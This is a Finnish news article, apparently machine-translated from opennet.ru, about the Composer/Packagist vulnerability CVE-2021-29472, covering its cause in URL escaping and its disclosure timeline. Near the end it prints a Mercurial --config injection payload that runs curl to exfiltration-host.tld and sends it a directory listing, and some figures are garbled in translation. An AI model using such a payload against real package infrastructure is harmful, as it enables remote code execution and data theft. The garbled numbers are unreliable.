Composer-paketinhallinnan haavoittuvuus, joka mahdollistaa Packagist PHP -tietovaraston vaarantumisen

Composer-riippuvuuden hallinnassa on havaittu kriittinen haavoittuvuus (CVE-2021-29472), joka sallii mielivaltaisten komentojen suorittamisen järjestelmässä, kun käsitellään pakettia, jossa on erityisesti muotoiltu URL-arvo, joka määrittää osoitteen lähdekoodin lataamista varten. Ongelma ilmenee GitDriver-, SvnDriver- ja HgDriver-komponenteissa, joita käytetään käytettäessä Git-, Subversion- ja Mercurial-lähdeohjausjärjestelmiä. Haavoittuvuus korjattiin Composer-julkaisuissa 1.10.22 ja 2.0.13.

Erityisesti huomautetaan, että ongelma vaikutti ensisijaisesti Composerin oletuspakettivarastoon, Packagistiin, joka sisältää 306 1.4 pakettia PHP-kehittäjille ja joka palvelee yli XNUMX miljardia latausta kuukaudessa. Kokeilu osoitti, että jos ongelma oli tiedossa, hyökkääjät voisivat saada Packagist-infrastruktuurin hallintaansa ja siepata ylläpitäjien tunnistetiedot tai ohjata pakettien lataukset kolmannen osapuolen palvelimelle ja järjestää pakettiversioiden toimituksen haitallisilla muutoksilla takaoven korvaamiseksi. riippuvuuden asennusprosessin aikana.

Loppukäyttäjille aiheutuva vaara rajoittuu siihen tosiasiaan, että composer.json-tiedoston sisällön määrittelee yleensä käyttäjä ja lähdelinkit välitetään käytettäessä kolmannen osapuolen tietovarastoja, jotka ovat yleensä luotettavia. Suurin isku osui Packagist.org-tietovarastoon ja Private Packagist -palveluun, joka kutsui Composeriin käyttäjiltä saatujen tietojen siirrolla. Hyökkääjät voivat suorittaa koodinsa Packagist-palvelimilla sijoittamalla erityisesti suunnitellun paketin.

Packagist-tiimi korjasi haavoittuvuuden 12 tunnin kuluessa haavoittuvuuden ilmoittamisesta. Tutkijat ilmoittivat yksityisesti Packagist-kehittäjille 22. huhtikuuta, ja ongelma korjattiin samana päivänä. Haavoittuvuutta käsittelevä julkinen päivitys Composerille julkaistiin 27. huhtikuuta, ja tiedot paljastettiin 28. huhtikuuta. Packagist-palvelimien lokien tarkastus ei paljastanut haavoittuvuuteen liittyvää epäilyttävää toimintaa.

Ongelma johtuu virheestä URL-vahvistuskoodissa juuri composer.json-tiedostossa ja lähteen latauslinkeissä. Virhe on ollut koodissa marraskuusta 2011 lähtien. Packagist käyttää erityisiä tasoja koodin lataamisen järjestämiseen ilman, että se on sidottu tiettyyn lähteen ohjausjärjestelmään. Ne suoritetaan kutsumalla "fromShellCommandline" ja välittämällä komentoriviargumentteja. Esimerkiksi gitille kutsutaan komento "git ls-remote -heads $URL", jossa URL-osoite käsitellään "ProcessExecutor::escape($url)"-menetelmällä, jolloin vältetään mahdollisesti vaaralliset muodot, kuten "$(. ..)" tai "` ...".

Ongelman ydin on, että ProcessExecutor::escape-metodi ei ohittanut "-"-sekvenssiä, mikä mahdollisti minkä tahansa lisäkutsuparametrin määrittämisen URL-osoitteessa. Tällainen pakottaminen puuttui GitDriver.php-, SvnDriver.php- ja HgDriver.php-ajureista. GitDriver.php-hyökkäystä haittasi se, että "git ls-remote" -komento ei tukenut lisäargumenttien määrittämistä polun jälkeen. HgDriver.php:n hyökkäys osoittautui mahdolliseksi välittämällä "--config"-parametri "hq"-apuohjelmaan, jonka avulla voit järjestää minkä tahansa komennon suorittamisen manipuloimalla "alias.identify"-asetusta. Jos haluat esimerkiksi ladata ja suorittaa koodin suorittamalla curl-apuohjelman, voit määrittää: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Lähettämällä testipaketin, jolla oli samanlainen URL-osoite Packagistille, tutkijat vahvistivat, että lähettämisen jälkeen heidän palvelimensa sai HTTP-pyynnön yhdeltä AWS:n Packagist-palvelimelta, joka sisälsi luettelon nykyisen hakemiston tiedostoista.

Lähde: opennet.ru

Lisää kommentti